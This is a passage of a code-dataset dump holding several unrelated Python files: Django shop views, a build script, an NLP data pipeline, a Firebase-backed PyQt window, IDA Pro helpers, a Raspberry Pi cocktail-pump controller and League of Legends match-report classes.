form,\n 'product': product\n }\n\n return render(request, 'product_update.html', context)\n\n def post(self, request, slug):\n product = Product.objects.get(slug=slug)\n form = ProductForm(request.POST, instance=product)\n\n if form.is_valid():\n form.save()\n return redirect('base')\n\n context = {\n 'form': form,\n 'product': product\n }\n\n return render(request, 'product_update.html', context)\n\n\nclass DeleteProductView(View):\n def get(self, request, slug):\n product = Product.objects.get(slug=slug)\n\n context = {\n 'product': product\n }\n\n return render(request, 'product_delete.html', context)\n\n def post(self, request, slug):\n product = Product.objects.get(slug=slug)\n\n product.delete()\n\n return redirect('base')\n\n\ndef registration(request):\n form = UserCreationForm(request.POST)\n\n if form.is_valid():\n form.save()\n return redirect('login')\n\n context = {\n 'form': form\n }\n\n return render(request, 'registration.html', context)\n\n\nclass LoginFormView(FormView):\n form_class = AuthenticationForm\n\n template_name = \"login.html\"\n\n success_url = \"/\"\n\n def form_valid(self, form):\n self.user = form.get_user()\n\n login(self.request, self.user)\n return super(LoginFormView, self).form_valid(form)\n","sub_path":"myshop/shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"193645302","text":"#!/usr/bin/env python\n\n\n__authors__=[\"Rafael Gaitan \",\"Pedro Jorquera \",\"Enrique Medina \"]\n__date__=\"30 Nov 2007\"\n__copyright__=\"Copyright 2007 AI2/OKODE\"\n__license__=\"GPL\"\n__version__=\"1.0.0\"\n__URL__=\"https://murray.ai2.upv.es/svn/buildman\"\n\nimport sys\nfrom bmcore import *\n\n#main\ndef main():\n\t\n\targuments = ArgumentParser(sys.argv)\n\targuments.getApplicationUsage().setDescription(arguments.getApplicationName() + \"is a set of scripts to create automatic and continuous build systems\")\n\targuments.getApplicationUsage().addCommandLineOption(\"--help\", \"Gets this help\")\n\targuments.getApplicationUsage().addCommandLineOption(\"--help-all\", \"Gets the help for all existing tasks\")\n\targuments.getApplicationUsage().addCommandLineOption(\"--help-goal [goal]\", \"Gets the help for the given task\")\n\n\tif len(sys.argv)<2:\n\t\targuments.writeHelpMessages()\n\t\treturn\n\n\tif arguments.read(\"--help\"):\n\t\targuments.writeHelpMessages()\n\t\treturn\n\n\thelp_goal = False\n\thelp_all = False\n\tgoal = [\"\"]\n\tif arguments.read(\"--help-goal\",goal):\n\t\thelp_goal = True\n\tif arguments.read(\"--help-all\"):\n\t\thelp_all = True\n\n\tbmn = BuildMan(arguments) \n\n\tif help_goal:\n\t\targuments.writeGoalHelpMessages(goal[0])\n\t\treturn\n\n\tif help_all:\n\t\targuments.writeHelpMessages()\n\t\treturn\n\tif arguments.errors():\n\t\targuments.writeErrorMessages()\n\t\treturn\n\n\tif not bmn.run():\n\t\tbmn.writeErrorMessages()\n\t\n\nif __name__ == '__main__': main()\n\n","sub_path":"build/buildman/bin/bmn.py","file_name":"bmn.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"42814628","text":"'''Glue codes for producing file and folder structure\nthat is directly digestable by the sequence-GGNN model\n'''\nimport os\nimport sys\nimport pathlib\nimport hashlib\nimport subprocess\nfrom typing import Union\n\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\n\nimport convert2graph\n\n\nRANDOM_STATE = 42\nPath = Union[str, pathlib.PosixPath]\n\n\nclass PrepareData:\n \"\"\"\n Index must be preserved in the dataframe. They are used in hashing story\n id later on\n \"\"\"\n def __init__(\n self,\n rootdir_data: Path = '/Users/shandou/Dropbox_personal/Datasets/NLP/',\n filetag_raw: str = 'cnndm.dev',\n subdir_raw: Path = 'CNNDM_splitted', subsample_fraction: float = 0.1,\n test_size: float = 0.2, subdir_prepared: Path = 'CNNDM_sequenceGGNN/text'\n ) -> None:\n data = []\n for key in ['source', 'target']:\n file_raw = os.path.join(\n rootdir_data, subdir_raw, f'{filetag_raw}.{key}'\n )\n data.append(\n pd.read_csv(file_raw, sep='\\n', header=None, names=[key])\n )\n df = pd.concat(data, axis=1)\n # When subsample_fraction is specified, carry out subsampling\n if subsample_fraction is not None:\n df = df.sample(frac=subsample_fraction)\n train_temp, test = train_test_split(\n df, random_state=RANDOM_STATE, test_size=test_size\n )\n train, val = train_test_split(\n train_temp, random_state=RANDOM_STATE, test_size=test_size\n )\n self.dir_prepared = os.path.join(rootdir_data, subdir_prepared)\n self.train = train\n self.val = val\n self.test = test\n\n def reorg(self) -> None:\n for fold in ['train', 'val', 'test']:\n dir_article = os.path.join(self.dir_prepared, fold, 'articles')\n dir_summary = os.path.join(self.dir_prepared, fold, 'summaries')\n # Note! Explicit, full-spelled out path\n # (instead of using tilda for home directory) must be used in order\n # to make `os.makedirs` work\n os.makedirs(dir_article, exist_ok=True)\n os.makedirs(dir_summary, exist_ok=True)\n\n data_subset = getattr(self, fold)\n filelist_path = os.path.join(\n self.dir_prepared, f'{fold}_filelist.txt'\n )\n story_files = []\n for index, row in data_subset.iterrows():\n print(index)\n # Make hashed story id\n story_id = hashlib.sha1(str(index).encode()).hexdigest() \n article_path = os.path.join(dir_article, f'{story_id}.article')\n with open(article_path, 'w') as f:\n f.write(row['source'])\n summary_path = os.path.join(dir_summary, f'{story_id}.abstr')\n with open(summary_path, 'w') as f:\n f.write(row['target'])\n\n story_files.append(article_path)\n\n with open(filelist_path, 'w') as f:\n f.write('\\n'.join(story_files)) \n\n\n# ./corenlp.sh -annotators tokenize,ssplit,pos,lemma,ner,parse,depparse,coref\n# -coref.algorithm neural -filelist path/to/filelist.txt outputFormat xml\n# -outputDirectory /path/to/output/xml\nclass AnnotateData:\n '''Annotate text with corenlp\n\n shell script `corenlp.sh` is copied from CoreNLP repo under /doc/corenlp/\n For more information about the meaning of the steps involved, please go to\n CoreNLP's reference page on annotators:\n https://stanfordnlp.github.io/CoreNLP/annotators.html#annotator-descriptions\n '''\n def __init__(\n self, fold: str = 'train',\n rootdir_data: Path = '/Users/shandou/Dropbox_personal/Datasets/NLP/',\n subdir_filelist: Path = 'CNNDM_sequenceGGNN/text',\n subdir_xml: Path = 'CNNDM_sequenceGGNN/xml'\n ):\n self.filelist = os.path.join(\n rootdir_data, subdir_filelist, f'{fold}_filelist.txt'\n )\n self.dir_xml = os.path.join(rootdir_data, subdir_xml, fold)\n\n def annotate(self):\n # Note! The list of input args for `-annotators` should only be\n # separated with , (WITHOUT space)\n shell_cmd = (\n f'./corenlp.sh -annotators '\n f'tokenize,ssplit,pos,lemma,ner,parse,depparse,coref '\n f'-coref.algorithm neural '\n f'-filelist {self.filelist} outputFormat xml '\n f'-outputDirectory {self.dir_xml}'\n )\n print(shell_cmd)\n subprocess.check_output(\n shell_cmd, stderr=subprocess.STDOUT, shell=True\n )\n\n\nclass XML2Graph:\n def __init__(self, fold: str = 'train',\n dir_data: Path = '/Users/shandou/Dropbox_personal/Datasets/NLP/CNNDM_sequenceGGNN',\n subdir_text: Path = 'text', subdir_xml: Path = 'xml',\n subdir_graph: Path = 'jsonl'\n ):\n self.dir_summary = os.path.join(\n dir_data, subdir_text, fold, 'summaries'\n )\n self.dir_xml = os.path.join(dir_data, subdir_xml, fold)\n self.dir_graph = os.path.join(dir_data, subdir_graph, fold)\n\n def convert(self):\n convert2graph.run(\n input_xml_articles_pattern=self.dir_xml,\n summaries_folder=self.dir_summary,\n out_filepath_prefix=self.dir_graph\n )","sub_path":"parsers/naturallanguage/dmcnn/data_processor.py","file_name":"data_processor.py","file_ext":"py","file_size_in_byte":5317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"136010526","text":"# coding: utf-8\n\n# In[1]:\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nget_ipython().magic('matplotlib inline')\n\nplt.rcParams['font.family']='SimHei' #display chinese\n\n# Goverment open data platform - Real estate price data(http://data.gov.tw/node/6213)\n# extension name .csv -> .CSV, should be upper case or error\ndf = pd.read_csv('A_LVR_LAND_A.CSV', encoding ='big5')\ndf[:10]\n\ndf.corr()\n\nplt.rcParams['axes.unicode_minus']=False\ndf.plot(kind='scatter',title='spread_chart(high +corr)',figsize=(6,4),x='Price',y='Total_area(m^2)',marker='+')\n\n\n# In[2]:\n\ndf.plot(kind='scatter',title='spread_chart(high +corr)',figsize=(6,4),x='Rooms',y='Bath room',marker='+')\n\n\n# In[3]:\n\ndf.plot(kind='scatter',title='spread_chart(high +corr)',figsize=(6,4),x='Rooms',y='Price',marker='+')\n\n\n# In[ ]:\n","sub_path":"W3-2/W3-2_correlation_analysis.py","file_name":"W3-2_correlation_analysis.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"640033380","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Sep 4 21:59:34 2019\r\n\r\n@author: Julia\r\n\"\"\"\r\n\r\n\r\nimport pyrebase \r\nconfig ={\r\n \"apiKey\": \"AIzaSyAMpfbvKqf5vK-dzz5H2Osu6CJ5d1ionA0\",\r\n \"authDomain\": \"misproject-65629.firebaseapp.com\",\r\n \"databaseURL\": \"https://misproject-65629.firebaseio.com\",\r\n \"projectId\": \"misproject-65629\",\r\n \"storageBucket\": \"misproject-65629.appspot.com\"\r\n}\r\nfirebase = pyrebase.initialize_app(config)\r\ndb = firebase.database()\r\n\r\nimport sys\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\r\nimport friend_collection_ui\r\nimport collection\r\n\r\n\r\n\r\nclass MyWindow(QMainWindow, friend_collection_ui.Ui_MainWindow):\r\n def __init__(self, parent=None):\r\n super(MyWindow, self).__init__(parent)\r\n self.setupUi(self)\r\n self.pushButton_9.clicked.connect(self.runcollection)\r\n self.pushButton_8.clicked.connect(self.runcollection)\r\n\r\n db.child(\"user\").child(\"A\").child(\"name\").get().val()\r\n self.pushButton_2.setText(db.child(\"user\").child(\"A\").child(\"name\").get().val())\r\n\t\t\r\n db.child(\"user\").child(\"B\").child(\"name\").get().val()\r\n self.pushButton_3.setText(db.child(\"user\").child(\"B\").child(\"name\").get().val())\r\n\t\t\r\n db.child(\"user\").child(\"嗨\").child(\"name\").get().val()\r\n self.pushButton_4.setText(db.child(\"user\").child(\"嗨\").child(\"name\").get().val())\r\n \r\n def runcollection(self):\r\n self.close()\r\n self.c=collection.MyWindow()\r\n self.c.show()\r\n \r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n myWin = MyWindow()\r\n myWin.show()\r\n sys.exit(app.exec_())\r\n","sub_path":"friend_collection.py","file_name":"friend_collection.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"571622226","text":"import tkinter\r\n\r\nclass levelSelector(tkinter.Tk):\r\n \"\"\"tk window to select window\r\n\r\n a tk window used to get the level the user wants to play as well as initating the discriptor of the level in its txt box\r\n\r\n sublcass tk\r\n \"\"\"\r\n def __init__(self):\r\n tkinter.Tk.__init__(self)\r\n \"initaite supercalss tk\"\r\n self.title(\"pyplaygrounds level selector\")\r\n\r\n selector = tkinter.Label(self, text=\"plz select a level\")\r\n selector.pack() \r\n\r\n\r\nif __name__ == \"__main__\":\r\n selector = levelSelector()\r\n selector.mainloop()\r\n","sub_path":"pyplaygrounds/editor/levelSelector.py","file_name":"levelSelector.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"11907831","text":"\"\"\"Utilities that interact with IDA.\"\"\"\nimport idaapi\n\n\ndef add_to_comment(ea, key, value):\n \"\"\"Add key:value to comm string at EA.\"\"\"\n from bap_comment import add_to_comment_string\n old_comm = idaapi.get_cmt(ea, 0)\n if old_comm is None:\n old_comm = ''\n new_comm = add_to_comment_string(old_comm, key, value)\n idaapi.set_cmt(ea, new_comm, 0)\n\n\ndef cfunc_from_ea(ea):\n \"\"\"Get cfuncptr_t from EA.\"\"\"\n func = idaapi.get_func(ea)\n if func is None:\n return None\n cfunc = idaapi.decompile(func)\n return cfunc\n\n\ndef all_valid_ea():\n \"\"\"Return all valid EA as a Python generator.\"\"\"\n from idautils import Segments\n from idc import SegStart, SegEnd\n for s in Segments():\n ea = SegStart(s)\n while ea < SegEnd(s):\n yield ea\n ea = idaapi.nextaddr(ea)\n\n\ndef dump_loader_info(output_filename):\n \"\"\"Dump information for BAP's loader into output_filename.\"\"\"\n from idautils import Segments\n import idc\n\n idaapi.autoWait()\n\n with open(output_filename, 'w+') as out:\n info = idaapi.get_inf_structure()\n size = \"r32\" if info.is_32bit else \"r64\"\n out.write(\"(%s %s (\" % (info.get_proc_name()[1], size))\n for seg in Segments():\n out.write(\"\\n(%s %s %d (0x%X %d))\" % (\n idaapi.get_segm_name(seg),\n \"code\" if idaapi.segtype(seg) == idaapi.SEG_CODE else \"data\",\n idaapi.get_fileregion_offset(seg),\n seg, idaapi.getseg(seg).size()))\n out.write(\"))\\n\")\n\n\ndef dump_symbol_info(output_filename):\n \"\"\"Dump information for BAP's symbolizer into output_filename.\"\"\"\n from idautils import Segments, Functions\n from idc import (\n SegStart, SegEnd, GetFunctionAttr,\n FUNCATTR_START, FUNCATTR_END\n )\n\n try:\n from idaapi import get_func_name2 as get_func_name\n # Since get_func_name is deprecated (at least from IDA 6.9)\n except ImportError:\n from idaapi import get_func_name\n # Older versions of IDA don't have get_func_name2\n # so we just use the older name get_func_name\n\n def func_name_propagate_thunk(ea):\n current_name = get_func_name(ea)\n if current_name[0].isalpha():\n return current_name\n func = idaapi.get_func(ea)\n temp_ptr = idaapi.ea_pointer()\n ea_new = idaapi.BADADDR\n if func.flags & idaapi.FUNC_THUNK == idaapi.FUNC_THUNK:\n ea_new = idaapi.calc_thunk_func_target(func, temp_ptr.cast())\n if ea_new != idaapi.BADADDR:\n ea = ea_new\n propagated_name = get_func_name(ea) or '' # Ensure it is not `None`\n if len(current_name) > len(propagated_name) > 0:\n return propagated_name\n else:\n return current_name\n # Fallback to non-propagated name for weird times that IDA gives\n # a 0 length name, or finds a longer import name\n\n idaapi.autoWait()\n\n with open(output_filename, 'w+') as out:\n for ea in Segments():\n fs = Functions(SegStart(ea), SegEnd(ea))\n for f in fs:\n out.write('(%s 0x%x 0x%x)\\n' % (\n func_name_propagate_thunk(f),\n GetFunctionAttr(f, FUNCATTR_START),\n GetFunctionAttr(f, FUNCATTR_END)))\n\n\ndef add_hotkey(hotkey, func):\n \"\"\"\n Assign hotkey to run func.\n\n If a pre-existing action for the hotkey exists, then this function will\n remove that action and replace it with func.\n\n Arguments:\n - hotkey : string (for example 'Ctrl-Shift-A')\n - func : unit function (neither accepts arguments, nor returns values)\n \"\"\"\n hotkey_ctx = idaapi.add_hotkey(hotkey, func)\n if hotkey_ctx is None:\n print(\"Failed to register {} for {}\".format(hotkey, func))\n else:\n print(\"Registered {} for {}\".format(hotkey, func))\n","sub_path":"plugins/bap/utils/ida.py","file_name":"ida.py","file_ext":"py","file_size_in_byte":3888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"559572306","text":"import time\r\nfrom typing import List\r\nfrom PyQt5.QtWidgets import qApp\r\n\r\nfrom src.config_manager import shared, ConfigManager\r\n\r\n\r\ntry:\r\n # pylint: disable=import-error\r\n from RPi import GPIO\r\n GPIO.setmode(GPIO.BCM)\r\n GPIO.setwarnings(False)\r\n DEV = False\r\nexcept ModuleNotFoundError:\r\n DEV = True\r\n\r\n\r\nclass RpiController(ConfigManager):\r\n \"\"\"Controler Class for all RPi related GPIO routines \"\"\"\r\n\r\n def __init__(self):\r\n super().__init__()\r\n self.devenvironment = DEV\r\n\r\n def clean_pumps(self):\r\n \"\"\"Clean the pumps for the defined time in the config.\r\n Acitvates all pumps for the given time\r\n \"\"\"\r\n active_pins = self.PUMP_PINS[: self.MAKER_NUMBER_BOTTLES]\r\n t_cleaned = 0\r\n self.header_print(\"Start Cleaning\")\r\n self.activate_pinlist(active_pins)\r\n while t_cleaned < self.MAKER_CLEAN_TIME:\r\n self.clean_print(t_cleaned)\r\n t_cleaned += self.MAKER_SLEEP_TIME\r\n t_cleaned = round(t_cleaned, 2)\r\n time.sleep(self.MAKER_SLEEP_TIME)\r\n qApp.processEvents()\r\n self.clean_print(self.MAKER_CLEAN_TIME)\r\n print(\"\")\r\n self.close_pinlist(active_pins)\r\n self.header_print(\"Done Cleaning\")\r\n\r\n def make_cocktail(self, w, bottle_list: List[int], volume_list: List[float], recipe=\"\", is_cocktail=True):\r\n \"\"\"RPI Logic to prepare the cocktail.\r\n Calculates needed time for each slot according to data and config.\r\n Updates Progressbar status. Returns data for DB updates.\r\n\r\n Args:\r\n w (QtMainWindow): MainWindow Object\r\n bottle_list (List[int]): Number of bottles to be used\r\n volume_list (List[float]): Corresponding Volumens needed of bottles\r\n labelchange (str, optional): Option to change the display text of Progress Screen. Defaults to \"\".\r\n\r\n Returns:\r\n tuple(List[int], float, float): Consumption of each bottle, taken time, max needed time\r\n \"\"\"\r\n # Only shwo team dialog if it is enabled\r\n if self.TEAMS_ACTIVE and is_cocktail:\r\n w.teamwindow()\r\n shared.cocktail_started = True\r\n shared.make_cocktail = True\r\n if w is not None:\r\n w.progressionqwindow(recipe)\r\n already_closed_pins = set()\r\n indexes = [x - 1 for x in bottle_list]\r\n pins = [self.PUMP_PINS[i] for i in indexes]\r\n volume_flows = [self.PUMP_VOLUMEFLOW[i] for i in indexes]\r\n pin_times = [round(volume / flow, 1) for volume, flow in zip(volume_list, volume_flows)]\r\n max_time = max(pin_times)\r\n current_time = 0\r\n consumption = [0] * len(indexes)\r\n\r\n self.header_print(f\"Starting {recipe}\")\r\n self.activate_pinlist(pins)\r\n while current_time < max_time and shared.make_cocktail:\r\n for element, (pin, pin_time, volume_flow) in enumerate(zip(pins, pin_times, volume_flows)):\r\n if pin_time > current_time:\r\n consumption[element] += volume_flow * self.MAKER_SLEEP_TIME\r\n elif pin not in already_closed_pins:\r\n self.close_pin(pin, current_time, max_time)\r\n already_closed_pins.add(pin)\r\n\r\n self.consumption_print(consumption, current_time, max_time)\r\n current_time += self.MAKER_SLEEP_TIME\r\n current_time = round(current_time, 2)\r\n time.sleep(self.MAKER_SLEEP_TIME)\r\n if w is not None:\r\n w.prow_change(current_time / max_time * 100)\r\n qApp.processEvents()\r\n\r\n self.close_pinlist(pins)\r\n consumption = [round(x) for x in consumption]\r\n print(\"Total calculated consumption:\", consumption)\r\n self.header_print(f\"Finished {recipe}\")\r\n if w is not None:\r\n w.prow_close()\r\n return consumption, current_time, max_time\r\n\r\n def close_pin(self, pin: int, current_time: float, max_time: float):\r\n if not self.devenvironment:\r\n GPIO.output(pin, 1)\r\n print(f\"{current_time:.1f}/{max_time:.1f} s:\\tPin number <{pin}> is closed\")\r\n\r\n def initializing_pins(self):\r\n print(f\"Devenvironment on the RPi module is {'on 'if self.devenvironment else 'off'}\")\r\n active_pins = self.PUMP_PINS[: self.MAKER_NUMBER_BOTTLES]\r\n print(f\"Initializing Pins: {active_pins}\")\r\n if not self.devenvironment:\r\n for pin in active_pins:\r\n GPIO.setup(pin, 0)\r\n GPIO.output(pin, 1)\r\n\r\n def activate_pinlist(self, pinlist: List[int]):\r\n print(f\"Opening Pins: {pinlist}\")\r\n if not self.devenvironment:\r\n for pin in pinlist:\r\n GPIO.output(pin, 0)\r\n\r\n def close_all_pins(self):\r\n \"\"\"Close all pins connected to the pumps\"\"\"\r\n active_pins = self.PUMP_PINS[: self.MAKER_NUMBER_BOTTLES]\r\n self.close_pinlist(active_pins)\r\n\r\n def close_pinlist(self, pinlist: List[int]):\r\n print(f\"Closing Pins: {pinlist}\")\r\n if not self.devenvironment:\r\n for pin in pinlist:\r\n GPIO.output(pin, 1)\r\n\r\n def consumption_print(self, consumption: List[float], current_time: float, max_time: float, interval=1):\r\n if current_time % interval == 0:\r\n print(\r\n f\"{current_time:.1f}/{max_time:.1f} s:\\tpreparing, consumption: {[round(x) for x in consumption]}\")\r\n\r\n def clean_print(self, t_cleaned: float, interval=0.5):\r\n if t_cleaned % interval == 0:\r\n print(f\"Cleaning, {t_cleaned:.1f}/{self.MAKER_CLEAN_TIME:.1f} s {'.' * int(t_cleaned*2)}\", end=\"\\r\")\r\n\r\n def header_print(self, msg: str):\r\n print(f\"{' ' + msg + ' ':-^80}\")\r\n\r\n\r\nRPI_CONTROLLER = RpiController()\r\n","sub_path":"src/rpi_controller.py","file_name":"rpi_controller.py","file_ext":"py","file_size_in_byte":5774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"644774186","text":"# region Imports\nfrom value import LeagueValues as Lv, GeneralValues as Gv\n# endregion\n\n\nclass LoLMatchDetailedTimelinePackage:\n def __init__(self, timeline):\n self.timeline = timeline\n\n\nclass LoLMatchDetailedRunePackage:\n def __init__(self, rune_id, style_pair, name, var_pair_list):\n self.rune_id = rune_id\n self.style_pair = style_pair\n self.name = name\n self.var_pair_list = var_pair_list\n\n\nclass LoLMatchDetailedDamagePackage:\n def __init__(self, total, magical, physical, true):\n self.total = total\n self.magical = magical\n self.physical = physical\n self.true = true\n\n\nclass LoLMatchDetailedPlayerPackage:\n def __init__(self, name, champion_pair, role_id, lane_id,\n spell_pair_list, item_pair_list, rune_list,\n kda_triple, largest_spree, largest_multi_kill,\n double_kills, triple_kills, quadra_kills,\n penta_kills, unreal_kills, largest_critical,\n damage_dealt, damage_to_champs, damage_taken,\n healing, damage_mitigated, damage_to_obj,\n damage_to_tower, vision_triple, cc,\n gold_pair, towers_pair, inhibitors_pair,\n cs, monster_pair, first_blood_pair,\n first_tower_pair, score_pair, has_lanes):\n self.name = name\n self.champion_pair = champion_pair\n self.role_id = role_id\n self.lane_id = lane_id\n self.spell_pair_list = spell_pair_list\n self.item_pair_list = item_pair_list\n self.rune_list = rune_list\n self.kda_triple = kda_triple\n self.largest_spree = largest_spree\n self.largest_multi_kill = largest_multi_kill\n self.double_kills = double_kills\n self.triple_kills = triple_kills\n self.quadra_kills = quadra_kills\n self.penta_kills = penta_kills\n self.unreal_kills = unreal_kills\n self.largest_critical = largest_critical\n self.damage_dealt = damage_dealt\n self.damage_to_champs = damage_to_champs\n self.damage_taken = damage_taken\n self.healing = healing\n self.damage_mitigated = damage_mitigated\n self.damage_to_obj = damage_to_obj\n self.damage_to_tower = damage_to_tower\n self.vision_triple = vision_triple\n self.cc = cc\n self.gold_pair = gold_pair\n self.towers_pair = towers_pair\n self.inhibitors_pair = inhibitors_pair\n self.cs = cs\n self.monster_pair = monster_pair\n self.first_blood_pair = first_blood_pair\n self.first_tower_pair = first_tower_pair\n self.score_pair = score_pair\n self.has_lanes = has_lanes\n\n def to_str(self, use_runes=False, use_details=False, use_timeline=False, depth=0):\n tabs = '\\t' * depth\n strings = []\n string = '{}{}\\n'.format(tabs, self.name)\n string += '{}{}'.format(tabs, self.champion_pair[1])\n if self.has_lanes:\n string += ', {} {}'\\\n .format(Lv.lanes_string_map[self.lane_id],\n Lv.roles_string_map[self.role_id])\n string += '\\n'\n\n if self.spell_pair_list[0][1] is not None:\n string += '{}Spell 1: {}\\n'.format(tabs, self.spell_pair_list[0][1])\n if self.spell_pair_list[1][1] is not None:\n string += '{}Spell 2: {}\\n'.format(tabs, self.spell_pair_list[1][1])\n string += '{}KDA: {}/{}/{}\\n'\\\n .format(tabs, self.kda_triple[0], self.kda_triple[1], self.kda_triple[2])\n if self.score_pair[0]:\n string += '{}Score: {}\\n'.format(tabs, self.score_pair[1])\n\n string += '{}Final Items:\\n'.format(tabs)\n for i, item in enumerate(self.item_pair_list):\n string += '\\t{}{}: {}\\n'.format(tabs, 'Trinket' if i == 6 else i + 1, item[1])\n\n if use_runes:\n string += '{}Primary: {}\\n'.format(tabs, self.rune_list[0].style_pair[1])\n for r in self.rune_list[:3]:\n string += '\\t{}{}\\n'.format(tabs, r.name)\n for v in r.var_pair_list:\n string += '\\t\\t{}{}: {}\\n'.format(tabs, v[0], v[1])\n\n string += '{}Secondary: {}\\n'.format(tabs, self.rune_list[4].style_pair[1])\n for r in self.rune_list[4:]:\n string += '\\t{}{}\\n'.format(tabs, r.name)\n for v in r.var_pair_list:\n string += '\\t\\t{}{}: {}\\n'.format(tabs, v[0], v[1])\n strings.append(string)\n\n string = ''\n if use_details:\n string += '{}Largest Killing Spree: {}\\n'.format(tabs, self.largest_spree)\n string += '{}Largest Multi Kill: {}\\n'.format(tabs, self.largest_multi_kill)\n string += '\\t{}Double Kills: {}\\n'.format(tabs, self.double_kills)\n string += '\\t{}Triple Kills: {}\\n'.format(tabs, self.triple_kills)\n string += '\\t{}Quadra Kills: {}\\n'.format(tabs, self.quadra_kills)\n string += '\\t{}Penta Kills: {}\\n'.format(tabs, self.penta_kills)\n string += '\\t{}Unreal Kills: {}\\n'.format(tabs, self.unreal_kills)\n if self.first_blood_pair[0]:\n string += '\\t{}First Blood Kill.\\n'.format(tabs)\n elif self.first_blood_pair[1]:\n string += '\\t{}First Blood Assist.\\n'.format(tabs)\n string += '\\n'\n\n if self.towers_pair[0]:\n string += '{}Towers Killed: {}\\n'.format(tabs, self.towers_pair[1])\n if self.first_tower_pair[0]:\n string += '\\t{}First Tower Kill.\\n'.format(tabs)\n elif self.first_tower_pair[1]:\n string += '\\t{}First Tower Assist.\\n'.format(tabs)\n if self.inhibitors_pair[0]:\n string += '{}Inhibitors Killed: {}\\n'\\\n .format(tabs, self.inhibitors_pair[1])\n string += '\\n'\n\n string += '{}CS: {}'.format(tabs, self.cs)\n if self.monster_pair[0]:\n string += ', Monsters: {}'.format(self.monster_pair[1])\n string += '\\n\\n'\n\n if self.vision_triple[0]:\n string += '{}Vision Score: {}, Vision Bought: {}\\n'\\\n .format(tabs, self.vision_triple[1], self.vision_triple[2])\n string += '{}Crowd Control Time: {}\\n'.format(tabs, self.cc)\n string += '{}Gold Spent/Earned: {}/{}\\n'.format(tabs, self.gold_pair[0], self.gold_pair[1])\n string += '\\n'\n\n string += '{}Damage Dealt: {}\\n'.format(tabs, self.damage_dealt.total)\n if use_details:\n string += '\\t{}Magical: {}\\n'.format(tabs, self.damage_dealt.magical)\n string += '\\t{}Physical: {}\\n'.format(tabs, self.damage_dealt.physical)\n string += '\\t{}True: {}\\n'.format(tabs, self.damage_dealt.true)\n\n string += '{}Damage Dealt to Champions: {}\\n'\\\n .format(tabs, self.damage_to_champs.total)\n if use_details:\n string += '\\t{}Magical: {}\\n'.format(tabs, self.damage_to_champs.magical)\n string += '\\t{}Physical: {}\\n'.format(tabs, self.damage_to_champs.physical)\n string += '\\t{}True: {}\\n'.format(tabs, self.damage_to_champs.true)\n\n string += '{}Damage Taken: {}\\n'.format(tabs, self.damage_taken.total)\n if use_details:\n string += '\\t{}Magical: {}\\n'.format(tabs, self.damage_taken.magical)\n string += '\\t{}Physical: {}\\n'.format(tabs, self.damage_taken.physical)\n string += '\\t{}True: {}\\n'.format(tabs, self.damage_taken.true)\n\n string += '{}Damage Dealt to Objectives: {}\\n'.format(tabs, self.damage_to_obj)\n string += '{}Damage Dealt to Towers: {}\\n'.format(tabs, self.damage_to_tower)\n string += '{}Damage Mitigated: {}\\n'.format(tabs, self.damage_mitigated)\n\n string += '{}Total Healing: {}\\n'.format(tabs, self.healing)\n string += '{}Largest Critical Strike: {}\\n'.format(tabs, self.largest_critical)\n strings.append(string)\n\n # if use_timeline and self.has_lanes:\n # headers = ['{}CS Per Min:\\n'.format(tabs),\n # '{}CS Diffs Per Min:\\n'.format(tabs),\n # '{}XP Per Min:\\n'.format(tabs),\n # '{}XP Diffs Per Min:\\n'.format(tabs),\n # '{}Gold Per Min:\\n'.format(tabs),\n # '{}Damage Taken Per Min:\\n'.format(tabs),\n # '{}Damage Diffs Taken Per Min:\\n'.format(tabs)]\n # string = ''\n # for i, t in enumerate(self.timeline_list):\n # string += headers[i]\n # for v in t.timeline:\n # string += '\\t{}{}: {}\\n'.format(tabs, v[0], v[1])\n # strings.append(string)\n return strings\n\n\nclass LoLMatchDetailedTeamPackage:\n def __init__(self, has_win, towers_pair, inhibitors_pair,\n dragons_pair, barons_pair, heralds_pair,\n vilemaws_pair, first_blood, first_tower,\n first_inhibitor, first_dragon, first_baron,\n score_pair, bans_pair_list, players_list):\n self.has_win = has_win\n self.towers_pair = towers_pair\n self.inhibitors_pair = inhibitors_pair\n self.dragons_pair = dragons_pair\n self.barons_pair = barons_pair\n self.heralds_pair = heralds_pair\n self.vilemaws_pair = vilemaws_pair\n self.first_blood = first_blood\n self.first_tower = first_tower\n self.first_inhibitor = first_inhibitor\n self.first_dragon = first_dragon\n self.first_baron = first_baron\n self.score_pair = score_pair\n self.bans_pair_list = bans_pair_list\n self.players_list = players_list\n\n def to_str(self, use_runes=False, use_details=False, use_timeline=False, depth=0):\n tabs = '\\t' * depth\n strings = []\n string = '{}{}\\n'.format(tabs, 'VICTORY' if self.has_win else 'DEFEAT')\n if self.score_pair[0]:\n string += '{}Score: {}\\n'.format(tabs, self.score_pair[1])\n\n if use_details:\n if self.first_blood:\n string += '{}{}.\\n'.format(tabs, 'First Blood')\n if self.towers_pair[0]:\n string += '{}Towers: {:<2}{}\\n'\\\n .format(tabs, self.towers_pair[1],\n ' First Tower.' if self.first_tower else '')\n if self.inhibitors_pair[0]:\n string += '{}Inhibitors: {:<2}{}\\n'\\\n .format(tabs, self.inhibitors_pair[1],\n ' First Inhibitor.' if self.first_inhibitor else '')\n if self.dragons_pair[0]:\n string += '{}Dragons: {:<2}{}\\n'\\\n .format(tabs, self.dragons_pair[1],\n ' First Dragon.' if 